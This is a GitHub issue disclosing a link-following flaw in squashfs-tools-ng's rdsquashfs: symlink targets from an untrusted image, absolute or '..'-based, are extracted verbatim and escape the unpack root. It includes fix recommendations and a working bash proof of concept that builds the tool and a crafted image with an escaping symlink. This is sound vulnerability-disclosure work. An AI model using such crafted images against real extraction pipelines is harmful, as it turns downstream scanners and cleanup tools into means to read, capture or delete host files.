Skip to content

squashfs-tools-ng rdsquashfs Extracted Symlink Target Escapes Unpack Root #139

@Nicholas-wei

Description

@Nicholas-wei

rdsquashfs can unpack SquashFS images to disk, materializing the filesystem tree (including symlinks).

This vulnerability maps to CWE-59:Improper Link Resolution Before File Access (‘Link Following’)

One realistic attack scenario is an automated “extract then scan” workflow that assumes the extracted directory is self-contained:

/tmp/rdsquashfs_slink_target_poc/
|-- out/                     (extracted SquashFS tree)
|   `-- conf -> ../outside/conf.ini   (symlink from the image)
|-- outside/
|   `-- conf.ini             (sibling file outside the extraction root)
`-- image.sqfs               (untrusted SquashFS image)

Victim workflow:

  1. A pipeline runs: rdsquashfs -u / -p /tmp/rdsquashfs_slink_target_poc/out /tmp/rdsquashfs_slink_target_poc/image.sqfs
  2. A later step follows symlinks unintentionally (e.g., cat /tmp/rdsquashfs_slink_target_poc/out/conf, grep -R, “parse all config files”, etc.)
  3. The pipeline reads or writes data outside the chosen output directory because the extracted symlink target escapes the root.

This is not an “immediate arbitrary file write” during extraction; it is an unsafe materialization property that can turn downstream consumers into path traversal gadgets.

0. Environment

  • Source: git clone https://github.com/AgentD/squashfs-tools-ng.git /tmp/squashfs-tools-ng
  • Version: squashfs-tools-ng commit e3dcf17 (latest on 23/04/2026)
  • Version below e3dcf17 is also infected.

1. Description

When extracting a symbolic link inode, rdsquashfs calls symlink(target, path) where target comes from the image bytes.

There is no containment policy for symlink targets:

  • absolute symlink targets (/tmp/host_file)
  • traversal-based targets (../outside/file)

are materialized verbatim under the unpack root.

Relevant code:

  • bin/rdsquashfs/src/restore_fstree.c:~67+
    • case S_IFLNK: symlink((const char *)n->inode->extra, name)

2. Impact

Downstream tooling that assumes the extracted tree is self-contained can be tricked into interacting with files outside the extraction root.

Practical consequences depend on the consumer:

  • scanners that “open everything” may read unintended host files;
  • repackers/archivers may capture host files through symlinks;
  • clean-up tooling that follows symlinks may delete/overwrite host files.

3. Root Cause

  • Symlink targets from the image are not validated or constrained.
  • There is no “safe extraction” mode that forbids symlinks whose targets escape the chosen root.

4. Proof-of-Concept

4.1 PoC files

  • Runner: poc.sh

4.2 Expected result

The PoC verifies that rdsquashfs creates:

  • /tmp/rdsquashfs_slink_target_poc/out/link -> ../outside/pwn.txt

which escapes the unpack root when followed.

5. Fix Recommendations

If rdsquashfs is expected to support “safe unpacking” of untrusted images:

  1. Add a mode to reject symlink targets that are:
    • absolute, or
    • contain traversal (..) that would escape the unpack root.
  2. Alternatively, extract such symlinks as inert text files (e.g., link.symlink containing the target) instead of a real symlink.
  3. Keep --no-slink/-L as a documented mitigation for security-sensitive unpacking pipelines, but consider making “safe” behavior opt-in or the default in hardened builds.

6. Reproduction

From this directory:

bash poc.sh

Below is poc.sh

#!/usr/bin/env bash
set -euo pipefail

SQFSNG_REPO_URL="https://github.com/AgentD/squashfs-tools-ng.git"
SQFSNG_SRC="/tmp/squashfs-tools-ng"
SQFSNG_COMMIT="e3dcf17"

for bin in mksquashfs; do
  if ! command -v "$bin" >/dev/null 2>&1; then
    echo "error: $bin is required" >&2
    exit 1
  fi
done

if [[ ! -d "${SQFSNG_SRC}/.git" ]]; then
  git clone "${SQFSNG_REPO_URL}" "${SQFSNG_SRC}" >/dev/null
fi

git -C "${SQFSNG_SRC}" checkout -q "${SQFSNG_COMMIT}"

base=/tmp/unpfuzz_rdsquashfs_slink_target_poc
rm -rf "${base}"
mkdir -p "${base}/src" "${base}/out" "${base}/outside"

# Create a symlink in the source tree whose target escapes the unpack root.
(cd "${base}/src" && ln -s ../outside/pwn.txt link)

mksquashfs "${base}/src" "${base}/test.sqfs" -noappend -quiet >/dev/null

# Build rdsquashfs (out-of-tree) to keep the repo clean.
if [[ ! -x "${SQFSNG_SRC}/configure" ]]; then
  (cd "${SQFSNG_SRC}" && ./autogen.sh >/dev/null)
fi

build="${base}/build"
mkdir -p "${build}"
(cd "${build}" && "${SQFSNG_SRC}/configure" --disable-shared >/dev/null)
(cd "${build}" && make -j"$(nproc)" rdsquashfs >/dev/null)

rdsq_bin="${build}/rdsquashfs"
if [[ ! -x "${rdsq_bin}" ]]; then
  echo "error: rdsquashfs binary not executable: ${rdsq_bin}" >&2
  exit 1
fi

"${rdsq_bin}" -q -u / -p "${base}/out" "${base}/test.sqfs" >/dev/null

if [[ ! -L "${base}/out/link" ]]; then
  echo "[-] expected extracted symlink not found: ${base}/out/link" >&2
  find "${base}/out" -maxdepth 3 -ls >&2 || true
  exit 1
fi

target="$(readlink "${base}/out/link")"
if [[ "${target}" != "../outside/pwn.txt" ]]; then
  echo "[-] unexpected symlink target: ${target}" >&2
  exit 1
fi

echo "[+] extracted symlink target escapes root:"
echo "    ${base}/out/link -> ${target}"

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions